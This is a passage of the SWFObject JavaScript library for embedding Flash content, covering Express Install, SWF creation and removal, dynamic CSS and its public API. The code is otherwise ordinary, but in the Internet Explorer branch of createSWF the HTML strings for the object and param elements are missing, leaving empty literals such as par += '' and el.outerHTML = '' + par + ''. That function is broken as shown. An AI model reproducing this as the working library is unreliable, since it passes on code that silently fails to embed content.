o.getElementsByTagName(OBJECT)[0]; 291 | if (n) { 292 | r = n; 293 | } 294 | } 295 | } 296 | return r; 297 | } 298 | 299 | /* Requirements for Adobe Express Install 300 | - only one instance can be active at a time 301 | - fp 6.0.65 or higher 302 | - Win/Mac OS only 303 | - no Webkit engines older than version 312 304 | */ 305 | function canExpressInstall() { 306 | return !isExpressInstallActive && hasPlayerVersion("6.0.65") && (ua.win || ua.mac) && !(ua.wk && ua.wk < 312); 307 | } 308 | 309 | /* Show the Adobe Express Install dialog 310 | - Reference: http://www.adobe.com/cfusion/knowledgebase/index.cfm?id=6a253b75 311 | */ 312 | function showExpressInstall(att, par, replaceElemIdStr, callbackFn) { 313 | isExpressInstallActive = true; 314 | storedCallbackFn = callbackFn || null; 315 | storedCallbackObj = {success:false, id:replaceElemIdStr}; 316 | var obj = getElementById(replaceElemIdStr); 317 | if (obj) { 318 | if (obj.nodeName == "OBJECT") { // static publishing 319 | storedAltContent = abstractAltContent(obj); 320 | storedAltContentId = null; 321 | } 322 | else { // dynamic publishing 323 | storedAltContent = obj; 324 | storedAltContentId = replaceElemIdStr; 325 | } 326 | att.id = EXPRESS_INSTALL_ID; 327 | if (typeof att.width == UNDEF || (!/%$/.test(att.width) && parseInt(att.width, 10) < 310)) { att.width = "310"; } 328 | if (typeof att.height == UNDEF || (!/%$/.test(att.height) && parseInt(att.height, 10) < 137)) { att.height = "137"; } 329 | doc.title = doc.title.slice(0, 47) + " - Flash Player Installation"; 330 | var pt = ua.ie && ua.win ? "ActiveX" : "PlugIn", 331 | fv = "MMredirectURL=" + encodeURI(win.location).toString().replace(/&/g,"%26") + "&MMplayerType=" + pt + "&MMdoctitle=" + doc.title; 332 | if (typeof par.flashvars != UNDEF) { 333 | par.flashvars += "&" + fv; 334 | } 335 | else { 336 | par.flashvars = fv; 337 | } 338 | // IE only: when a SWF is loading (AND: not available in cache) wait for the readyState of the object element to become 4 before removing it, 339 | // because you cannot properly cancel a loading SWF file without breaking browser load references, also obj.onreadystatechange doesn't work 340 | if (ua.ie && ua.win && obj.readyState != 4) { 341 | var newObj = createElement("div"); 342 | replaceElemIdStr += "SWFObjectNew"; 343 | newObj.setAttribute("id", replaceElemIdStr); 344 | obj.parentNode.insertBefore(newObj, obj); // insert placeholder div that will be replaced by the object element that loads expressinstall.swf 345 | obj.style.display = "none"; 346 | (function(){ 347 | if (obj.readyState == 4) { 348 | obj.parentNode.removeChild(obj); 349 | } 350 | else { 351 | setTimeout(arguments.callee, 10); 352 | } 353 | })(); 354 | } 355 | createSWF(att, par, replaceElemIdStr); 356 | } 357 | } 358 | 359 | /* Functions to abstract and display alternative content 360 | */ 361 | function displayAltContent(obj) { 362 | if (ua.ie && ua.win && obj.readyState != 4) { 363 | // IE only: when a SWF is loading (AND: not available in cache) wait for the readyState of the object element to become 4 before removing it, 364 | // because you cannot properly cancel a loading SWF file without breaking browser load references, also obj.onreadystatechange doesn't work 365 | var el = createElement("div"); 366 | obj.parentNode.insertBefore(el, obj); // insert placeholder div that will be replaced by the alternative content 367 | el.parentNode.replaceChild(abstractAltContent(obj), el); 368 | obj.style.display = "none"; 369 | (function(){ 370 | if (obj.readyState == 4) { 371 | obj.parentNode.removeChild(obj); 372 | } 373 | else { 374 | setTimeout(arguments.callee, 10); 375 | } 376 | })(); 377 | } 378 | else { 379 | obj.parentNode.replaceChild(abstractAltContent(obj), obj); 380 | } 381 | } 382 | 383 | function abstractAltContent(obj) { 384 | var ac = createElement("div"); 385 | if (ua.win && ua.ie) { 386 | ac.innerHTML = obj.innerHTML; 387 | } 388 | else { 389 | var nestedObj = obj.getElementsByTagName(OBJECT)[0]; 390 | if (nestedObj) { 391 | var c = nestedObj.childNodes; 392 | if (c) { 393 | var cl = c.length; 394 | for (var i = 0; i < cl; i++) { 395 | if (!(c[i].nodeType == 1 && c[i].nodeName == "PARAM") && !(c[i].nodeType == 8)) { 396 | ac.appendChild(c[i].cloneNode(true)); 397 | } 398 | } 399 | } 400 | } 401 | } 402 | return ac; 403 | } 404 | 405 | /* Cross-browser dynamic SWF creation 406 | */ 407 | function createSWF(attObj, parObj, id) { 408 | var r, el = getElementById(id); 409 | if (ua.wk && ua.wk < 312) { return r; } 410 | if (el) { 411 | if (typeof attObj.id == UNDEF) { // if no 'id' is defined for the object element, it will inherit the 'id' from the alternative content 412 | attObj.id = id; 413 | } 414 | if (ua.ie && ua.win) { // Internet Explorer + the HTML object element + W3C DOM methods do not combine: fall back to outerHTML 415 | var att = ""; 416 | for (var i in attObj) { 417 | if (attObj[i] != Object.prototype[i]) { // filter out prototype additions from other potential libraries 418 | if (i.toLowerCase() == "data") { 419 | parObj.movie = attObj[i]; 420 | } 421 | else if (i.toLowerCase() == "styleclass") { // 'class' is an ECMA4 reserved keyword 422 | att += ' class="' + attObj[i] + '"'; 423 | } 424 | else if (i.toLowerCase() != "classid") { 425 | att += ' ' + i + '="' + attObj[i] + '"'; 426 | } 427 | } 428 | } 429 | var par = ""; 430 | for (var j in parObj) { 431 | if (parObj[j] != Object.prototype[j]) { // filter out prototype additions from other potential libraries 432 | par += ''; 433 | } 434 | } 435 | el.outerHTML = '' + par + ''; 436 | objIdArr[objIdArr.length] = attObj.id; // stored to fix object 'leaks' on unload (dynamic publishing only) 437 | r = getElementById(attObj.id); 438 | } 439 | else { // well-behaving browsers 440 | var o = createElement(OBJECT); 441 | o.setAttribute("type", FLASH_MIME_TYPE); 442 | for (var m in attObj) { 443 | if (attObj[m] != Object.prototype[m]) { // filter out prototype additions from other potential libraries 444 | if (m.toLowerCase() == "styleclass") { // 'class' is an ECMA4 reserved keyword 445 | o.setAttribute("class", attObj[m]); 446 | } 447 | else if (m.toLowerCase() != "classid") { // filter out IE specific attribute 448 | o.setAttribute(m, attObj[m]); 449 | } 450 | } 451 | } 452 | for (var n in parObj) { 453 | if (parObj[n] != Object.prototype[n] && n.toLowerCase() != "movie") { // filter out prototype additions from other potential libraries and IE specific param element 454 | createObjParam(o, n, parObj[n]); 455 | } 456 | } 457 | el.parentNode.replaceChild(o, el); 458 | r = o; 459 | } 460 | } 461 | return r; 462 | } 463 | 464 | function createObjParam(el, pName, pValue) { 465 | var p = createElement("param"); 466 | p.setAttribute("name", pName); 467 | p.setAttribute("value", pValue); 468 | el.appendChild(p); 469 | } 470 | 471 | /* Cross-browser SWF removal 472 | - Especially needed to safely and completely remove a SWF in Internet Explorer 473 | */ 474 | function removeSWF(id) { 475 | var obj = getElementById(id); 476 | if (obj && obj.nodeName == "OBJECT") { 477 | if (ua.ie && ua.win) { 478 | obj.style.display = "none"; 479 | (function(){ 480 | if (obj.readyState == 4) { 481 | removeObjectInIE(id); 482 | } 483 | else { 484 | setTimeout(arguments.callee, 10); 485 | } 486 | })(); 487 | } 488 | else { 489 | obj.parentNode.removeChild(obj); 490 | } 491 | } 492 | } 493 | 494 | function removeObjectInIE(id) { 495 | var obj = getElementById(id); 496 | if (obj) { 497 | for (var i in obj) { 498 | if (typeof obj[i] == "function") { 499 | obj[i] = null; 500 | } 501 | } 502 | obj.parentNode.removeChild(obj); 503 | } 504 | } 505 | 506 | /* Functions to optimize JavaScript compression 507 | */ 508 | function getElementById(id) { 509 | var el = null; 510 | try { 511 | el = doc.getElementById(id); 512 | } 513 | catch (e) {} 514 | return el; 515 | } 516 | 517 | function createElement(el) { 518 | return doc.createElement(el); 519 | } 520 | 521 | /* Updated attachEvent function for Internet Explorer 522 | - Stores attachEvent information in an Array, so on unload the detachEvent functions can be called to avoid memory leaks 523 | */ 524 | function addListener(target, eventType, fn) { 525 | target.attachEvent(eventType, fn); 526 | listenersArr[listenersArr.length] = [target, eventType, fn]; 527 | } 528 | 529 | /* Flash Player and SWF content version matching 530 | */ 531 | function hasPlayerVersion(rv) { 532 | var pv = ua.pv, v = rv.split("."); 533 | v[0] = parseInt(v[0], 10); 534 | v[1] = parseInt(v[1], 10) || 0; // supports short notation, e.g. "9" instead of "9.0.0" 535 | v[2] = parseInt(v[2], 10) || 0; 536 | return (pv[0] > v[0] || (pv[0] == v[0] && pv[1] > v[1]) || (pv[0] == v[0] && pv[1] == v[1] && pv[2] >= v[2])) ? true : false; 537 | } 538 | 539 | /* Cross-browser dynamic CSS creation 540 | - Based on Bobby van der Sluis' solution: http://www.bobbyvandersluis.com/articles/dynamicCSS.php 541 | */ 542 | function createCSS(sel, decl, media, newStyle) { 543 | if (ua.ie && ua.mac) { return; } 544 | var h = doc.getElementsByTagName("head")[0]; 545 | if (!h) { return; } // to also support badly authored HTML pages that lack a head element 546 | var m = (media && typeof media == "string") ? media : "screen"; 547 | if (newStyle) { 548 | dynamicStylesheet = null; 549 | dynamicStylesheetMedia = null; 550 | } 551 | if (!dynamicStylesheet || dynamicStylesheetMedia != m) { 552 | // create dynamic stylesheet + get a global reference to it 553 | var s = createElement("style"); 554 | s.setAttribute("type", "text/css"); 555 | s.setAttribute("media", m); 556 | dynamicStylesheet = h.appendChild(s); 557 | if (ua.ie && ua.win && typeof doc.styleSheets != UNDEF && doc.styleSheets.length > 0) { 558 | dynamicStylesheet = doc.styleSheets[doc.styleSheets.length - 1]; 559 | } 560 | dynamicStylesheetMedia = m; 561 | } 562 | // add style rule 563 | if (ua.ie && ua.win) { 564 | if (dynamicStylesheet && typeof dynamicStylesheet.addRule == OBJECT) { 565 | dynamicStylesheet.addRule(sel, decl); 566 | } 567 | } 568 | else { 569 | if (dynamicStylesheet && typeof doc.createTextNode != UNDEF) { 570 | dynamicStylesheet.appendChild(doc.createTextNode(sel + " {" + decl + "}")); 571 | } 572 | } 573 | } 574 | 575 | function setVisibility(id, isVisible) { 576 | if (!autoHideShow) { return; } 577 | var v = isVisible ? "visible" : "hidden"; 578 | if (isDomLoaded && getElementById(id)) { 579 | getElementById(id).style.visibility = v; 580 | } 581 | else { 582 | createCSS("#" + id, "visibility:" + v); 583 | } 584 | } 585 | 586 | /* Filter to avoid XSS attacks 587 | */ 588 | function urlEncodeIfNecessary(s) { 589 | var regex = /[\\\"<>\.;]/; 590 | var hasBadChars = regex.exec(s) != null; 591 | return hasBadChars && typeof encodeURIComponent != UNDEF ? encodeURIComponent(s) : s; 592 | } 593 | 594 | /* Release memory to avoid memory leaks caused by closures, fix hanging audio/video threads and force open sockets/NetConnections to disconnect (Internet Explorer only) 595 | */ 596 | var cleanup = function() { 597 | if (ua.ie && ua.win) { 598 | window.attachEvent("onunload", function() { 599 | // remove listeners to avoid memory leaks 600 | var ll = listenersArr.length; 601 | for (var i = 0; i < ll; i++) { 602 | listenersArr[i][0].detachEvent(listenersArr[i][1], listenersArr[i][2]); 603 | } 604 | // cleanup dynamically embedded objects to fix audio/video threads and force open sockets and NetConnections to disconnect 605 | var il = objIdArr.length; 606 | for (var j = 0; j < il; j++) { 607 | removeSWF(objIdArr[j]); 608 | } 609 | // cleanup library's main closures to avoid memory leaks 610 | for (var k in ua) { 611 | ua[k] = null; 612 | } 613 | ua = null; 614 | for (var l in swfobject) { 615 | swfobject[l] = null; 616 | } 617 | swfobject = null; 618 | }); 619 | } 620 | }(); 621 | 622 | return { 623 | /* Public API 624 | - Reference: http://code.google.com/p/swfobject/wiki/documentation 625 | */ 626 | registerObject: function(objectIdStr, swfVersionStr, xiSwfUrlStr, callbackFn) { 627 | if (ua.w3 && objectIdStr && swfVersionStr) { 628 | var regObj = {}; 629 | regObj.id = objectIdStr; 630 | regObj.swfVersion = swfVersionStr; 631 | regObj.expressInstall = xiSwfUrlStr; 632 | regObj.callbackFn = callbackFn; 633 | regObjArr[regObjArr.length] = regObj; 634 | setVisibility(objectIdStr, false); 635 | } 636 | else if (callbackFn) { 637 | callbackFn({success:false, id:objectIdStr}); 638 | } 639 | }, 640 | 641 | getObjectById: function(objectIdStr) { 642 | if (ua.w3) { 643 | return getObjectById(objectIdStr); 644 | } 645 | }, 646 | 647 | embedSWF: function(swfUrlStr, replaceElemIdStr, widthStr, heightStr, swfVersionStr, xiSwfUrlStr, flashvarsObj, parObj, attObj, callbackFn) { 648 | var callbackObj = {success:false, id:replaceElemIdStr}; 649 | if (ua.w3 && !(ua.wk && ua.wk < 312) && swfUrlStr && replaceElemIdStr && widthStr && heightStr && swfVersionStr) { 650 | setVisibility(replaceElemIdStr, false); 651 | addDomLoadEvent(function() { 652 | widthStr += ""; // auto-convert to string 653 | heightStr += ""; 654 | var att = {}; 655 | if (attObj && typeof attObj === OBJECT) { 656 | for (var i in attObj) { // copy object to avoid the use of references, because web authors often reuse attObj for multiple SWFs 657 | att[i] = attObj[i]; 658 | } 659 | } 660 | att.data = swfUrlStr; 661 | att.width = widthStr; 662 | att.height = heightStr; 663 | var par = {}; 664 | if (parObj && typeof parObj === OBJECT) { 665 | for (var j in parObj) { // copy object to avoid the use of references, because web authors often reuse parObj for multiple SWFs 666 | par[j] = parObj[j]; 667 | } 668 | } 669 | if (flashvarsObj && typeof flashvarsObj === OBJECT) { 670 | for (var k in flashvarsObj) { // copy object to avoid the use of references, because web authors often reuse flashvarsObj for multiple SWFs 671 | if (typeof par.flashvars != UNDEF) { 672 | par.flashvars += "&" + k + "=" + flashvarsObj[k]; 673 | } 674 | else { 675 | par.flashvars = k + "=" + flashvarsObj[k]; 676 | } 677 | } 678 | } 679 | if (hasPlayerVersion(swfVersionStr)) { // create SWF 680 | var obj = createSWF(att, par, replaceElemIdStr); 681 | if (att.id == replaceElemIdStr) { 682 | setVisibility(replaceElemIdStr, true); 683 | } 684 | callbackObj.success = true; 685 | callbackObj.ref = obj; 686 | } 687 | else if (xiSwfUrlStr && canExpressInstall()) { // show Adobe Express Install 688 | att.data = xiSwfUrlStr; 689 | showExpressInstall(att, par, replaceElemIdStr, callbackFn); 690 | return; 691 | } 692 | else { // show alternative content 693 | setVisibility(replaceElemIdStr, true); 694 | } 695 | if (callbackFn) { callbackFn(callbackObj); } 696 | }); 697 | } 698 | else if (callbackFn) { callbackFn(callbackObj); } 699 | }, 700 | 701 | switchOffAutoHideShow: function() { 702 | autoHideShow = false; 703 | }, 704 | 705 | ua: ua, 706 | 707 | getFlashPlayerVersion: function() { 708 | return { major:ua.pv[0], minor:ua.pv[1], release:ua.pv[2] }; 709 | }, 710 | 711 | hasFlashPlayerVersion: hasPlayerVersion, 712 | 713 | createSWF: function(attObj, parObj, replaceElemIdStr) { 714 | if (ua.w3) { 715 | return createSWF(attObj, parObj, replaceElemIdStr); 716 | } 717 | else { 718 | return undefined; 719 | } 720 | }, 721 | 722 | showExpressInstall: function(att, par, replaceElemIdStr, callbackFn) { 723 | if (ua.w3 && canExpressInstall()) { 724 | showExpressInstall(att, par, replaceElemIdStr, callbackFn); 725 | } 726 | }, 727 | 728 | removeSWF: function(objElemIdStr) { 729 | if (ua.w3) { 730 | removeSWF(objElemIdStr); 731 | } 732 | }, 733 | 734 | createCSS: function(selStr, declStr, mediaStr, newStyleBoolean) { 735 | if (ua.w3) { 736 | createCSS(selStr, declStr, mediaStr, newStyleBoolean); 737 | } 738 | }, 739 | 740 | addDomLoadEvent: addDomLoadEvent, 741 | 742 | addLoadEvent: addLoadEvent, 743 | 744 | getQueryParamValue: function(param) { 745 | var q = doc.location.search || doc.location.hash; 746 | if (q) { 747 | if (/\?/.test(q)) { q = q.split("?")[1]; } // strip question mark 748 | if (param == null) { 749 | return urlEncodeIfNecessary(q); 750 | } 751 | var pairs = q.split("&"); 752 | for (var i = 0; i < pairs.length; i++) { 753 | if (pairs[i].substring(0, pairs[i].indexOf("=")) == param) { 754 | return urlEncodeIfNecessary(pairs[i].substring((pairs[i].indexOf("=") + 1))); 755 | } 756 | } 757 | } 758 | return ""; 759 | }, 760 | 761 | // For internal usage only 762 | expressInstallCallback: function() { 763 | if (isExpressInstallActive) { 764 | var obj = getElementById(EXPRESS_INSTALL_ID); 765 | if (obj && storedAltContent) { 766 | obj.parentNode.replaceChild(storedAltContent, obj); 767 | if (storedAltContentId) { 768 | setVisibility(storedAltContentId, true); 769 | if (ua.ie && ua.win) { storedAltContent.style.display = "block"; } 770 | } 771 | if (storedCallbackFn) { storedCallbackFn(storedCallbackObj); } 772 | } 773 | isExpressInstallActive = false; 774 | } 775 | } 776 | }; 777 | }(); 778 | --------------------------------------------------------------------------------